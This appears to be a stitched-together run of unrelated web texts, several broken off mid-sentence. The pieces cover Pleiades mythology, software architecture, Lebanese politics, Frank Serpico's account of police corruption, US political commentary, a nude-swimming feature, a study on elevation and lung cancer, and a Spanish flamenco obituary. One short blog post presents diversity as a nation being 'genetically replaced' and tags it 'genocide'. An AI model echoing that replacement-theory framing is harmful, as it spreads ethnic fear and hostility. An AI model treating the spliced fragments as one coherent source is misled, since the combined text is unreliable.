The nine brightest stars of the Pleiades are named for the Seven Sisters of Greek mythology: Sterope, Merope, Electra, Maia, Taygeta, Celaeno, and Alcyone, along with their parents Atlas and Pleione. As daughters of Atlas, the Hyades were sisters of the Pleiades. The English name of the cluster itself is of Greek origin, though of uncertain etymology. Suggested derivations include: from pleîn, to sail, making the Pleiades the "sailing ones"; from pleos, full or many; or from peleiades, flock of doves.
Phenomenica, an online encyclopedia of Mysteries, Phenomena, Ancient History and Science, describes the Greek mythological origins of Pleiades:
"There is nothing else like the Pleiades star cluster in the sky. Few observers can look very long at the night sky at this time of year without noticing the Pleiades stars and wondering what they really are. The traditional Greek legend for the Seven Sisters - as this cluster has long been known - is that they are the daughters of Atlas and Pleione. Their father, Atlas, rebelled against Zeus, the king of the gods, who retaliated by sentencing him to forever holding up the heavens on his shoulders. This so grieved the sisters that Zeus placed them in the heavens so that they could be close to their father.
Interestingly, widely separated and totally different cultures have always described the Pleiades as the "Seven Sisters," "Seven Maidens," or "Seven Little Girls." Yet, only six stars are readily visible to most observers. Those with more acute eyesight may glimpse up to 12 under good conditions. But why this cluster has been cited by more than one early people as having seven members remains a mystery."
Sources:
1. From Phenomenica "Gleaming Venus to Have Rendezvous With Seven Sisters on Tuesday" written in April, 2012.: <http://www.phenomenica.com/2012/04/gleaming-venus-to-have-rendezvous-with-seven-sisters-on-tuesday.html> Accessed on July 13, 2012.
2. From Wikipedia "Pleiades": <http://en.wikipedia.org/wiki/Pleiades>, Accessed on July 13, 2012.
3. Fuji Heavy Industries, <http://www.fhi.co.jp/english/>, Accessed on July 13, 2012.by Brett Stevens on August 19, 2016
https://youtu.be/nbpffW3d4SU
Very few people think through ideas, which requires calculating in the mind what will happen when they are implemented not just at first, but over the years.
What does diversity mean? On paper, that other groups come live among you. You have ethnic restaurants and some mythical benefit of knowledge or culture.
But in actuality? Diversity means that your nation is replaced. At first, there is simply no consensus; social trust is lowered. Over time, you are genetically replaced as people bow to the inevitable and outbreed.
Then your group no longer exists. Something different and foreign — no matter how much it is instructed in “our ways” and “our laws” — takes its place.
Your average person blithely repeats slogans without thinking about how those ideas would look in application. Maybe we need a movie showing an America of nothing but grey people voting Leftist and going to Wal-mart to help the point sink in.
Tags: diversity, genocide, internationalism, multiculturalism
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Some time ago I wrote about Ports and Adapters architecture, where domain logic is completely separated from infrastructure logic, like database connection, rest controllers, clients etc. It’s is great if you have external dependencies and you want to just test your domain logic without the need for low-level mocking of dependencies. But what if you have a single codebase, a monolith app? Is it useful here? The TL;DR answer is… YES. Here’s why.
The standard approach
The standard way of writing software in a layered manner is to use an interface for some kind of service, with the defined API of this service and behind the scenes, have some class that implements it. That way, we have an exposed, public API that we can later use if dependent services and other components. We can use this internally for defining internal and external module dependencies. So, for example, we have a Service A from Module A, which depends on Service B from Module B. But this dependency is defined on the interface of Service B. The concrete implementation is not mentioned here explicitly. Service A doesn’t care what implementation of the interface is it connected to. It looks like this:
The above approach is ok, it is not bad. But the problem starts to appear when we have more classes that depend on the Service B, for example, some internal components of Module B.
In a situation like that, everything works, Service A still doesn’t care about the implementation of Service B. But what if we would like to refactor Module B internal dependencies, make some changes to the internal communication between services? Well, we can’t do much, because the whole internal structure of Module B is now rigid. Service B can’t be changed, we can’t refactor whole Module B because we could break dependencies, we can’t do this without also changing Service A so that it would be compatible with our changes. And this is not a good thing. And the above example shows only 2 modules, think about what happens in a real world application where you can have many more modules.
Make an API
One solution to the above problem is using Ports and Adapters. We isolate our domain logic (dashed red rectangle) from our external API. We create an interface with modules public API and the implementation of said interface. Now Service A depends only on Module B API. We can change the whole internal structure of Module B, we can do whatever we wish, except changing the Module B API interface. That is the only rigid and exposed part.
But that is only a half of the way to make it really flexible. Module A also needs some buffer zone. What if we would like to use some completely different module? But we don’t want to change the domain logic, it is already stable, it has good tests coverage and is working well. We just need some other kind of data source. For example, we have used a database connection, but now we want to switch to some REST Service to get the data? The data is the same, it is just obtained in a different manner.
To do this, we should define a Port that provides the data we need to our service. We just define an interface that offers |
," Mr Suleiman said in his address.
He said it was the largest assistance provided in Lebanon's history and would be used to buy weapons from France.
French President Francois Hollande said his country would "meet" any demands for weapons from Lebanon during a visit on Sunday to Saudi Arabia aimed at boosting commercial ties with the kingdom.
"I am in touch with President Suleiman... If demands are made to us, we will meet them," he said.
Mr Suleiman said the Saudi aid would finally allow the Lebanese army to "confront terrorism" and put an end to the proliferation of arms.
The BBC's Arab Affairs Editor Sebastian Usher said the president indirectly touched on a dangerous taboo in Lebanon - the unchecked power of the Shia movement, Hezbollah.
That issue is coming to the boil due to the conflict in neighbouring Syria where Hezbollah is fighting on the side of President Assad, our correspondent says.
Heinous crime
The Saudis back the other side - the mostly Sunni rebels. The kingdom also supports the pro-western March 14 alliance in Lebanon, of which Mohamad Chatah was a leading member.
Lebanon has been hit by a wave of attacks linked to heightened Sunni-Shia tensions over the Syrian war.
Mr Chatah was buried on Sunday amid tight security.
The former Lebanese minister and opposition figure was killed by a car bomb on Friday, which also killed six other people and injured at least 50.
Image caption Mohamad Chatah was on his way to a meeting when the car bomb exploded
Image caption Mr Chatah was buried by a mosque by Beirut's Martyrs' Square
No-one has claimed responsibility for the bombing, but the leader of the March 14 alliance, former prime minister Saad Hariri, implicitly accused Hezbollah of carrying it out.
Hezbollah rejected the accusation, calling the bombing a "heinous crime, which comes in the context of a series of crimes and explosions aimed at sabotaging the country".
Syria also denied any involvement in the attack.Frank Serpico is a former New York City police detective.
In the opening scene of the 1973 movie “Serpico,” I am shot in the face—or to be more accurate, the character of Frank Serpico, played by Al Pacino, is shot in the face. Even today it’s very difficult for me to watch those scenes, which depict in a very realistic and terrifying way what actually happened to me on Feb. 3, 1971. I had recently been transferred to the Narcotics division of the New York City Police Department, and we were moving in on a drug dealer on the fourth floor of a walk-up tenement in a Hispanic section of Brooklyn. The police officer backing me up instructed me (since I spoke Spanish) to just get the apartment door open “and leave the rest to us.”
One officer was standing to my left on the landing no more than eight feet away, with his gun drawn; the other officer was to my right rear on the stairwell, also with his gun drawn. When the door opened, I pushed my way in and snapped the chain. The suspect slammed the door closed on me, wedging in my head and right shoulder and arm. I couldn’t move, but I aimed my snub-nose Smith & Wesson revolver at the perp (the movie version unfortunately goes a little Hollywood here, and has Pacino struggling and failing to raise a much-larger 9-millimeter automatic). From behind me no help came. At that moment my anger got the better of me. I made the almost fatal mistake of taking my eye off the perp and screaming to the officer on my left: “What the hell you waiting for? Give me a hand!” I turned back to face a gun blast in my face. I had cocked my weapon and fired back at him almost in the same instant, probably as reflex action, striking him. (He was later captured.)
Story Continued Below
When I regained consciousness, I was on my back in a pool of blood trying to assess the damage from the gunshot wound in my cheek. Was this a case of small entry, big exit, as often happens with bullets? Was the back of my head missing? I heard a voice saying, “Don’ worry, you be all right, you be all right,” and when I opened my eyes I saw an old Hispanic man looking down at me like Carlos Castaneda’s Don Juan. My “backup” was nowhere in sight. They hadn’t even called for assistance—I never heard the famed “Code 1013,” meaning “Officer Down.” They didn’t call an ambulance either, I later learned; the old man did. One patrol car responded to investigate, and realizing I was a narcotics officer rushed me to a nearby hospital (one of the officers who drove me that night said, “If I knew it was him, I would have left him there to bleed to death,” I learned later).
The next time I saw my “back-up” officers was when one of them came to the hospital to bring me my watch. I said, “What the hell am I going to do with a watch? What I needed was a back-up. Where were you?” He said, “Fuck you,” and left. Both my “back-ups” were later awarded medals for saving my life.
I still don’t know exactly what happened on that day. There was never any real investigation. But years later, Patrick Murphy, who was police commissioner at the time, was giving a speech at one of my alma maters, the John Jay College of Criminal Justice, and I confronted him. I said, “My name is Frank Serpico, and I’ve been carrying a bullet in my head for over 35 years, and you, Mr. Murphy, are the man I hold responsible. You were the man who was brought as commissioner to take up the cause that I began — rooting out corruption. You could have protected me; instead you put me in harm’s way. What have you got to say?” He hung his head, and had no answer.
Even now, I do not know for certain why I was left trapped in that door by my fellow police officers. But the Narcotics division was rotten to the core, with many guys taking money from the very drug dealers they were supposed to bust. I had refused to take bribes and had testified against my fellow officers. Police make up a peculiar subculture in society. More often than not they have their own moral code of behavior, an “us against them” attitude, enforced by a Blue Wall of Silence. It’s their version of the Mafia’s omerta. Speak out, and you’re no longer “one of us.” You’re one of “them.” And as James Fyfe, a nationally recognized expert on the use of force, wrote in his 1993 book about this issue, Above The Law, officers who break the code sometimes won’t be helped in emergency situations, as I wasn’t.
On the left, Al Pacino plays Serpico in the 1973 movie. On the right, Frank Serpico leaves the Bronx County Courthouse after testifying on police corruption in 1973. | Getty Images
Forty-odd years on, my story probably seems like ancient history to most people, layered over with Hollywood legend. For me it’s not, since at the age of 78 I’m still deaf in one ear and I walk with a limp and I carry fragments of the bullet near my brain. I am also, all these years later, still persona non grata in the NYPD. Never mind that, thanks to Sidney Lumet’s direction and Al Pacino’s brilliant acting, “Serpico” ranks No. 40 on the American Film Institute’s list of all-time movie heroes, or that as I travel around the country and the world, police officers often tell me they were inspired to join the force after seeing the movie at an early age.
In the NYPD that means little next to my 40-year-old heresy, as they see it. I still get hate mail from active and retired police officers. A couple of years ago after the death of David Durk — the police officer who was one of my few allies inside the department in my efforts to expose graft — the Internet message board “NYPD Rant” featured some choice messages directed at me. “Join your mentor, Rat scum!” said one. An ex-con recently related to me that a precinct captain had once said to him, “If it wasn’t for that fuckin’ Serpico, I coulda been a millionaire today.” My informer went on to say, “Frank, you don’t seem to understand, they had a well-oiled money making machine going and you came along and threw a handful of sand in the gears.”
In 1971 I was awarded the Medal of Honor, the NYPD’s highest award for bravery in action, but it wasn’t for taking on an army of corrupt cops. It was most likely due to the insistence of Police Chief Sid Cooper, a rare good guy who was well aware of the murky side of the NYPD that I’d try to expose. But they handed the medal to me like an afterthought, like tossing me a pack of cigarettes. After all this time, I’ve never been given a proper certificate with my medal. And although living Medal of Honor winners are typically invited to yearly award ceremonies, I’ve only been invited once — and it was by Bernard Kerick, who ironically was the only NYPD commissioner to later serve time in prison. A few years ago, after the New York Police Museum refused my guns and other memorabilia, I loaned them to the Italian-American museum right down street from police headquarters, and they invited me to their annual dinner. I didn’t know it was planned, but the chief of police from Rome, Italy, was there, and he gave me a plaque. The New York City police officers who were there wouldn’t even look at me.JTA — A British political party suspended one of its local representatives following reports that she posted anti-Semitic comments online.
Anna-Marie Crampton of the small UK Independence Party in East Sussex was dropped as a candidate in Thursday’s election for the council of the town of Crowborough, south of London, because of comments about Jews made on her website, the BBC reported Thursday.
The website contained claims that Jews deliberately caused World War II and sacrificed their own people in the gas chambers to promote Zionism. “The Second World Wide War was engineered by the Zionist jews and financed by the banksters,” the article on Crampton’s website said.
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She has denied writing the remarks and said her account had been hacked.
Crampton’s Twitter contained a message saying she was not anti-Semitic and that she had been “trolled.”
But Nigel Farage, the leader of the right-wing party, which won 3 percent of the vote in the 2010 general elections, said, “From this moment she does not have the endorsement of our party.”In a turn of events that is almost too good to be true, it appears that Treasury Secretary Steven Mnuchin's Marie Antoinette-ish wife Louise Linton once literally played Marie Antoinette on TV.
The background: Linton, a Scottish-born actress who has previously made headlines for writing an insane white savior memoir about her gap year in Africa, returned to your social media feeds on Monday with some next level Let Them Eat Cake BS.
First, Linton posted an Ivanka-ish glamour shot of herself stepping off a government plane on Instagram wearing #rolandmouret, #hermesscarf, #tomford sunnies and #valentinorockstudheels. Then when a woman commented “Glad we could pay for your little getaway. #deplorable” on the photo, Linton derisively went after the detractor in the comments of the post.
In an emoji-dotted response, Linton belittled the Oregon mother of three for having less money than she does and living a "cute" life.
“Aw!!! Did you think this was a personal trip?! Adorable!” Linton wrote. “Do you think the US govt paid for our honeymoon or personal travel?! Lololol. Have you given more to the economy than me and my husband? Either as an individual earner in taxes OR in self sacrifice to your country? I’m pretty sure we paid more taxes toward our day ‘trip’ than you did. Pretty sure the amount we sacrifice per year is a lot more than you’d be willing to sacrifice if the choice was yours.”
Louise Linton, wife of US Treasury Secretary Steven Mnuchin, just turned her Instagram private after posting this (h/t @skenigsberg) pic.twitter.com/beakVnAhhu — Margarita Noriega (@margarita) August 22, 2017
“If she hadn’t made her account private, I would have written back with a very snide Marie Antoinette joke,” Jenni Miller, the Oregon mother, told the New York Times.
Well, Jenni, we have good news and bad news for you. Linton's Instagram remains private, but your Marie Antoinette comments are not far off. Linton literally played a woman who attends a costume party dressed as Marie Antoinette in a 2007 episode of CSI: NY. Linton's costumed character unfortunately meets an untimely end via guillotine in the episode and, in an even weirder turn of events, the person who ushers her to her demise is none other than a pre-fame Shailene Woodley:
Linton has since apologized for the posting and her comments, calling them "inappropriate and highly insensitive," according to CNN.Sarah Palin wrote another Facebook post in which she outlined why defaulting on the debt is an impeachable offense. That, in and of itself, doesn't make any sense since it's Congress which is tasked with voting to raising the debt ceiling in order to prevent a default, not the president.
Sarah Palin wrote another Facebook post in which she outlined why defaulting on the debt is an impeachable offense. That, in and of itself, doesn't make any sense since it's Congress which is tasked with voting to raising the debt ceiling in order to prevent a default, not the president.
First, she wrote, "There is no way we can default if we follow the Constitution." So case closed. We can't default. Either Congress or the president has to raise the debt ceiling to pay the debt. The 14th Amendment, she continued, requires that we "service our debt first." Actually, it says the debt "shall not be questioned," but okay. Isn't that what the House Republicans are doing right now?
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But in the very next sentence, she made a case for how we can pay the debt without raising the ceiling. Palin: "We currently collect more than enough tax revenue to service our debt if we do that first."
This is the myth we've been hearing about for a while now: prioritizing obligations or using tax revenues to pay the interest on the debt. Failing to do so, Palin wrote, is an impeachable offense:
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Defaulting on our national debt is an impeachable offense, and any attempt by President Obama to unilaterally raise the debt limit without Congress is also an impeachable offense.
The only problem? It's impossible to re-channel tax revenue into interest payments on the debt, and there's no legal means for such a process. Oh, and it would utterly crash the economy and U.S. credit would surely face a crippling downgrade. Here's Morgan Stanley, an entity that knows a little more about finance and the economy than Sarah Palin, Sen. Rand Paul (R-KY) or Rep. Louie Gohmert (R-TX) combined:
No, there is no legal basis for the Treasury to prioritize payments. As noted in our previous report, if the debt ceiling is not raised before October 17th, the Treasury will have approximately $30 billion left in the coffers to fulfill its obligations. Given reasonable assumptions for receipts and planned expenditures, the remaining cash could last until November 1st, when large Social Security, Medicare, pension and other benefit payments are scheduled (about $67 billion in total). On November 15th, $31 billion in interest is due to bondholders. There is no legal basis for Treasury officials to fulfill certain obligations at the expense of others, and they therefore have no authority to cancel payments scheduled for November 1st. Further, without illegally stockpiling cash over the first two weeks of November, there will not be enough tax receipts on November 15th alone to prioritize bondholder interest payments over other expenses on that particular day.
Palin's plan is to sabotage the economy, as well as the federal budget and the president. There's no way to entirely reconfigure how the Treasury pays obligations. None. As Matt Yglesias pointed out, Treasury Secretary Jack Lew doesn't sit up at night, logged into the government's PayPal account, deciding which bills to pay.
So default would be eminent, and Palin and her cohorts will have carved out a ridiculous, unheard of pretext for impeachment.
Nope, this isn't about Obamacare. This is about impeaching Obama. And they're willing to crash the economy, as well as the entire federal government as we know it, in order to achieve that goal.
Bob Cesca is the managing editor for The Daily Banter, the editor of BobCesca.com, the host of the Bubble Genius Bob & Chez Show podcast and a Huffington Post contributor.Judge orders all references to 'Taser' stricken from medical examiner's reports
A Summit County Common Pleas judge ordered the county medical examiner to delete any reference that Tasers contributed to the deaths of three Ohio men.
All three men were in an 'agitated' state and 'on drugs' when police officers shot them with Tasers, and the judge ordered their deaths be ruled 'accidental' also that any reference to "homicide or "electrical pulse stimulation" should be deleted from death certificates and autopsy reports."
Five sheriff's deputies had been indicted on charges related to the death of one of the men, who also had a history of mental illness. The judge further ordered that man's death be ruled as "undetermined" and to "delete any references to homicide and the death possibly being caused by asphyxia, beatings or other factors."
The court hearing centered around the "very narrow issue" of whether or not the use of the Taser Model X26 could contributed in any way to the cause of death.
A Taser International spokesman issued the following statement after the court ruling:
"Taser International believed from the beginning that these determinations of cause of death must be supported by facts, medical research and scientific evidence," spokesman Steve Tuttle said in a prepared statement Friday.
As of mid-April, 68 wrongful-death or injury lawsuits have been dismissed or judgments entered in favor of Taser, according to the company. The company has not lost any product-liability lawsuits.
The attorney from the prosecutor's office representling the medical examiner said of the case:
"It was an interesting case and an uphill battle," said Manley. "Taser is quite a force to be reckoned with and does everything to protect their golden egg, which is the Model X26."Would you go skinny dipping with total strangers? It's Britain's cheekiest new craze. Sara Lawrence bravely took the plunge...
Taking the plunge: Sara Lawrence bared all for an afternoon with London's Secret Swimming Club
Lost in thought, I surrender myself to a feeling of blissful peace and contentment, as the warm afternoon rays of the September sun beat down on my exposed skin.
In the distance, I can see picnicking families sprawled out on their Cath Kidston rugs, hear the muffled squeals of excitable toddlers and make out the blurry forms of yummy mummies chasing after them.
I’m on Wimbledon Common in London, which is the epitome of Saturday afternoon, middle-class contentment.
Everyone, including me, is here to make the most of summer’s last throes.
Unlike everyone else though, I am not nibbling on a sandwich or throwing a stick for a dog to chase. Neither am I dressed in a pretty Boden frock and designer flip-flops. In fact I’m not dressed in anything — I’m as naked as the day I was born.
Yes, that’s right, I am in a park in broad daylight, with not a stitch of clothing to cover my modesty. Not only that, but I’m floating on my back, in a lily pond.
Horrified? All I can say is don’t knock it before you’ve tried it. Because no one is more surprised than me to find it feels pretty darn good.
So how have I come to be stark naked on Wimbledon Common? Whisper it, but I have joined a secret society of people who like to ease the stress of modern-day living by enjoying the freedom of swimming naked in beautiful, scenic places.
The Secret Swimming Club, the brainchild of entrepreneur Fabien Riggall, 36, from West London, is open to anyone who fancies bathing in the buff in rivers, streams, reservoirs and iced lakes.
‘This swimming club is about breaking away from the formulaic, about going out on an adventure. Our lives are too organised, too regimented and going swimming in the wild with a group of like-minded people is liberating and exciting,’ says Fabien.
Those gung-ho enough to take part meet once a month to relax, chat, unwind and — of course — frolic naked in the great outdoors. They do not need to be too concerned about being tickled by the long arm of the law as it is not an offence to be naked in public in England and Wales unless it can be proved someone has been left distressed, alarmed or outraged.
After reading about the club in the Daily Mail recently I was filled with curiosity. It all sounded so daring, so exciting and, let’s face it, so thoroughly un-British.
Bathing in the buff: The Secret Swimming Club, the brainchild of entrepreneur Fabien Riggall, 36, meets once a month
Those who know me will testify to the fact that I have been known to partake in drunken skinny-dipping episodes and think nothing of sunbathing topless on the beach.
What’s more, I boarded at Roedean, a girls’ public school in Brighton, where getting naked in front of the others in the communal shower block or changing rooms was commonplace.
But I’ve never been tempted by naked rambling or nudist camps — I imagine they involve overweight men with saggy bottoms and beer bellies.
Yet somehow the Secret Swimming Club appeals to me.
It conjures up sensual images such as the glorious scene in the film Atonement when Keira Knightley disrobes on a steamy summer’s day and dives into a fountain.
However, the reality isn’t quite so romantic (or artfully lit).
Walking towards the meeting point, still fully-clothed, I am gripped by terror as I realise that I will soon be naked in front of a photographer and 40 strangers. The instinct to flee overwhelms me. Why, oh why, can’t I just feed the ducks?
Like most women, I have certain hang-ups about my body. I had convinced myself that I would emerge more self-confident after this. But suddenly, the wobbly bits which decorate my size 12 frame are all I can think about. Why had I ever believed that showing them off to naked strangers was a good idea?
Shaking with nerves, I decide to talk to one of my fellow ‘nakedees’. Emma tells me she is a 35-year-old mother-of-two from Kent. ‘Until I started doing this, the only person who’d seen me naked in the last ten years was my husband,’ she says.
I tell her how anxious I feel. She does her best to reassure me. ‘Soon you’ll start to feel incredibly free and innocent,’ she says. ‘It’s almost like a rebirth.’
Standing by the edge of the pond, I watch men and women of all ages, shapes and sizes glorying in their nudity. I might be paralysed at the thought of stripping off but suddenly being the only one fully-dressed makes me feel ridiculous.
The instinct to flee overwhelms me. Why, oh why, can't I just feed the ducks?
I look around at my fellow swimmers and note there are a few more women than men.
Most are in their 20s and 30s, a handful are in their 40s and 50s, while two look old enough to be travelling home on their free bus passes. There are a couple of groups of hippyish girls and a few guys who are obviously friends. There’s the one older couple and a smattering of singletons. All in all, we’re a mixed bunch.
Enough procrastination! It is time for me to jump into the unknown.
I steel myself, take a deep breath and whip off my top, unhook my bra and step out of my shorts and knickers. A burst of confidence overwhelms me and I don’t even suck my stomach in. I am what I am, I tell myself. Today is a day to feel free.
Unsurprisingly, our group has attracted some attention and I can feel eyes boring into my back (at least I hope it’s just my back.)
I turn to see a dog walker staring intently, clearly undecided as to whether he should be outraged or admiring. But I don’t rush to conceal my nakedness. Instead I smile and carry on.
Staring into the murky depths of Queensmere Pond, I wonder how clean the water is and whether it will make me ill if I swallow any. Will it be squelchy? Muddy? Slimy? There’s only one way to find out.
Scenic: Sara took a dip in Queensmere Pond with the Secret Swimming Club, which invites people to swim in wild, beautiful locations
I hold my nose, jump in and scream as the icy water hits my naked flesh. After the initial shock, I allow myself to enjoy the feel of the silky water against my skin. It isn’t slimy, just fresh and exhilarating.
Some of our group opt for vigorous swimming, some chat while others, like me, opt to float in solitude, drifting off in our own private world.
After half an hour I start to become cold and decide to bring my skinny-dipping adventure to an end.
I return to my clothes feeling more refreshed, more alive and more empowered than I ever have following the silly spa treatments I usually spend a small fortune on.
The experience also reinforces my belief that hang-ups or a negative body image are a waste of time, because in this waning light everyone looks beautiful. None of the people here is worrying about their lumps and bumps, they’re just having a great time.
I always thought naturists must be getting some sort of sexual kick out of their hobby. But there is not a whiff of sexual tension.
‘Water is healing,’ explains Anton, a 41-year-old architect from South London. ‘Swimming with a like-minded group in this beautiful setting is liberating.’
‘I feel a bit more able to relate to other people,’ says Katy, a secondary school teacher from York. ‘I wish I could bring my class down here and make them all go swimming naked together — I think a lot of the bullying would stop.’
As the light begins to fade, the rest of the swimmers clamber out of the pond. I wonder if the inhibitions people lose in the water might return, but there’s a definite sense of camaraderie as people get dressed.
Of course there will be those who think nudity has no place in public. But I find myself agreeing with Katy. Take away the barrier of clothes and, suddenly, people are a lot nicer.
When I arrived on the Common and saw the glamorous mothers in their designer dresses and shoes, I formed an instant opinion of them, not something I was able to do to any of the naked swimmers.
Once you remove the designer labels it makes it easier to speak to each other. As the old saying goes, the only thing to fear is fear itself, and having conquered mine I feel like I can take on the world.
With autumn around the corner, I doubt I’ll be brave enough to skinny dip again this year, but come next summer, I will definitely do so.Introduction
At present, four types of cancer—prostate, breast, lung, and colorectal—exceed 100,000 new cases per year in the United States. Of these cancers, lung cancer carries the worst prognosis and will claim an estimated 159,260 lives in 2014 (Siegel et al., 2014). While lung cancer primarily afflicts smokers, 10–15% of cases arise in nonsmokers (Samet et al., 2009), and over 80% of smokers never develop lung cancer (Bilello, Murin & Matthay, 2002, p. 5). Additional characterized risk factors include genetic susceptibility as well as environmental exposure to carcinogens such as radon, asbestos, and fine-particulate matter (Subramanian & Govindan, 2007). This multifactorial etiology for lung cancer could include long-term exposure to an inhaled carcinogen.
Inspired molecular oxygen (O 2 ) leads to intracellular formation of reactive oxygen species (ROS). This occurs either by spontaneous ionizing radiation or by incomplete reduction of O 2 during normal cellular respiration (Fridovich, 1988). ROS are highly unstable and undergo damaging redox reactions with a range of cellular components (Jackson, 1985). A variety of antioxidant enzymes and pathways exist to eliminate ROS (Matés, Pérez-Gómez & Núñez de Castro, 1999). However, formation and elimination of ROS is a stochastic process during which cells accumulate damage, including mutations from reactions with nucleic acids (Cooke et al., 2003).
The amount of DNA damage and cytotoxicity incurred is influenced both by the effectiveness of oxygen metabolism (Passos et al., 2007; Sung et al., 2010) and the extent of oxygen exposure (Bruyninckx, Mason & Morse, 1978; Packer & Fuehr, 1977; Parrinello et al., 2003). Oxidative DNA damage plays a prominent role in the pathogenesis and exacerbation of many diseases including cancer (Cooke et al., 2003). A recent study of cancer initiation in three mouse models of tumorigenesis—P53(−/−), APC(min/+), and a chemically-induced model—found that halving ambient oxygen exposure led to proportional increases in tumor-free survival time and decreases in genomic instability and tumor bulk (Sung et al., 2011). While similar studies are impossible in humans, numerous reports have indicated significant increases in childhood cancers in cases of neonatal oxygen supplementation (Maruyama et al., 2000; Naumburg et al., 2002; Oue et al., 2003; Spector et al., 2005). Importantly, oxygen toxicity appears most profound in the lung, where exposure is direct (Jackson, 1985; Nagato et al., 2012; Pagano & Barazzone-Argiroffo, 2003).
Despite the inability to perform controlled experiments of oxygen toxicity in a human setting, elevation provides a natural experimental platform for examining the effects of oxygen on carcinogenesis. The relation between elevation and barometric pressure, and hence oxygen, is roughly linear at habitable altitudes. Across United States counties, elevation accounts for a 34.9% decrease in oxygen from Imperial County, California (−11 m) to San Juan County, Colorado (3,473 m). From its partial pressure at sea level, oxygen is reduced to 88.7% at 1,000 m, 78.5% at 2,000 m, and 69.2% at 3,000 m (Berberan-Santos, 1997). Taking advantage of this natural dosage gradient, we asked whether atmospheric oxygen, assessed via elevation, associates with carcinogenesis.
Numerous reports and observations of lower cancer rates at higher elevations appear in the literature of the last four decades (Amsel et al., 1982; Burton, 1975; Hayes, 2010; Mason & Miller, 1974; Van Pelt, 2003; Weinberg, Brown & Hoel, 1987). Of particular relevance, Weinberg, Brown & Hoel (1987) and Van Pelt (2003) suggest reduced oxygen as a possible explanation. Interestingly, both studies investigate elevation as a confounder of radiation hormesis—the theory that low, environmental doses of radiation are protective against cancer. Inevitably, neither study was designed to specifically assess elevation, particularly how its effect on atmospheric pressure relates to cancer. Weinberg, Brown & Hoel (1987) focused on a small sample of 80 metropolitan areas without a systematic selection process, while only adjusting for proxies of urbanization and ethnicity without accounting for other demographic or risk factors such as smoking. Regarding Van Pelt (2003), county elevation exposure was estimated by the elevation of the largest city, rather than a more precise population-weighted calculation. Adjustment for potential confounders was limited to subgrouping by sex and correction for smoking prevalence. However, statewide smoking prevalence was uniformly applied to all counties within a state. Moreover, both studies examined cancer mortality instead of the more direct outcome of incidence. All of these issues contribute to a limited ability to compare effects across different cancer sites (i.e., respiratory versus non-respiratory sites). While much was unconsidered due to each group’s interest in elevation primarily as a confounder, many of these issues were simply due to a lack of available data. Elevation profoundly impacts variables ranging from climate to behavior (Burtscher, 2014). To isolate the atmospheric-based effects of elevation on cancer incidence, many factors must be carefully considered. A nuanced analysis with precise, high-resolution data is required.
Building on existing experimental and epidemiological evidence, we designed a study to assess the effect of elevation-dependent ambient oxygen on cancer incidence. We focused on the elevation-varying western United States, maximizing variation in our exposure of interest while minimizing potential confounding. Recent proliferation of high-resolution, publicly-available data enabled a precise ecological evaluation of our hypothesis. We relied on county-level incidence rather than mortality to minimize quality of care and disease progression biases. To accurately assess oxygen exposure, we incorporated subcounty population dispersion into county elevation calculation. We accounted for potential confounding effects by including important risk and demographic factors and evaluating a range of environmental variables that covary with elevation. We compared the association of elevation with lung cancer versus its association with breast, colon, and prostate cancers to discriminate between atmosphere dependent and independent elevation effects. These steps combined with a robust and conservative statistical framework provided a rigorous assessment of our hypothesis: cancer incidence decreases as elevation rises, a trend most pronounced in tissue with direct atmospheric exposure.José Menese. TEATRO LA MAESTRANZA / EL PAÍS VÍDEO
A José Menese le debió de coger dormido la muerte en su casa de La Puebla de Cazalla, la localidad morisca donde había nacido en 1942. Su corazón cansado se paró pillándolo en un descuido, que si no puede que se hubiese rebelado ante el destino, tal era su carácter indómito. Él había sido cantaor por vocación y por derecho propio y, conociéndolo, uno piensa que no podría haber sido otra cosa ni haber cantado de otra manera, de forma comprometida con el arte, con la sociedad y con el tiempo que le tocó vivir. Y eso fue así por circunstancias de la vida, sí, pero también por su carácter y determinación, por su fuerte personalidad.
Menese cantaba en su pueblo por afición y entre amigos. Eran tiempos duros y su origen era humilde, como hijo de un zapatero remendón. Pero paisano suyo era Francisco Moreno Galván, poeta y pintor, gran aficionado y componente, junto a su hermano José María, crítico de arte, y los escritores Fernando Quiñones y José Manuel Caballero Bonald, de una avanzadilla de intelectuales que reivindicaba el flamenco y, además, lo vivía con intensidad. El empuje de Moreno Galván sería determinante para su marcha a Madrid con apenas 20 años, y lo acompañaría mientras vivió: le compuso textos para sus cantes e ilustró las carpetas de sus discos con una estética que marcaría época.
Cae Menese en un Madrid tardofranquista y en ese círculo de intelectuales con el que comparte noches de cante y fiesta sin fin en las que se echaban las persianas para retrasar la llegada de la mañana. Ese entorno es también determinante de su orientación, en la que juegan un papel fundamental las letras de carácter social y reivindicativo que le escribe Moreno Galván. Comienza así a cantar en colegios mayores y facultades, siendo su voz “la primera en hacer retumbar las paredes y conciencias universitarias”, según afirma José Manuel Gamboa. Una voz, pues, contestataria desde el principio y hasta el final, que el compromiso de Menese, militante comunista, nunca fue de diluirse con el tiempo.
Pero también una voz flamenca de afición y pasión. En 1963, a poco de un año de su llegada a la capital, Menese entra a trabajar en el prestigioso tablao Zambra, auténtica universidad del cante, donde se encontrará con maestros de la talla de Perico el del Lunar, Juan Varea, Rafael Romero, Fernanda y Bernarda de Utrera, y los gaditanos Pericón, Manolo Vargas y La Perla. Y en 1965, mientras hacía el servicio militar, en un permiso, se presenta al Concurso Nacional de Arte Flamenco de Córdoba y obtiene el Premio de Honor Tomás El Nitri. Dos años más tarde, sería también premiado en el Festival de Cante Jondo de Mairena del Alcor, que había nacido unos años antes de la mano de Antonio Mairena. Precisamente, la 55ª edición de esta cita, que se celebra a principios del mes de septiembre, estará dedicada, desgraciadamente ya sin su presencia, al reconocimiento de su carrera artística.
Estamos, pues, ante un artista sobradamente acreditado como |
decks! Compiled by Hiten Shah for SlideShare, these presentations provide a great primer on customer service, metrics management and growth strategies.
Why Buyer Personas are Key to SaaS Marketing Success
Don’t have buyer personas in place for your SaaS business yet? You’re missing out on a huge opportunity to tailor your marketing efforts directly to your prospective buyers. Brie Rangel, writing for the Inturact blog, shows you how to get it done.
11 Tips for a Pricing Page from 10 SaaS Rockstars
Few website pages are more critical to a SaaS provider’s success than the pricing page. If yours is feeling a bit lackluster, give any of the 11 tips provided by Karol Zielinski, CEO of Paylane, a try.
4 Data-Driven SaaS Onboarding Emails You Should Be Sending
The numbers don’t lie. Email marketing is a powerful way to drive business success, but only if you deliver the right messages to the right people at the right times. Not only does this Vero blog post give you four easy places to get started, it provides real-world examples you can leverage as you build your own campaigns.
How to Use Rich Content to Grow Your SaaS Product
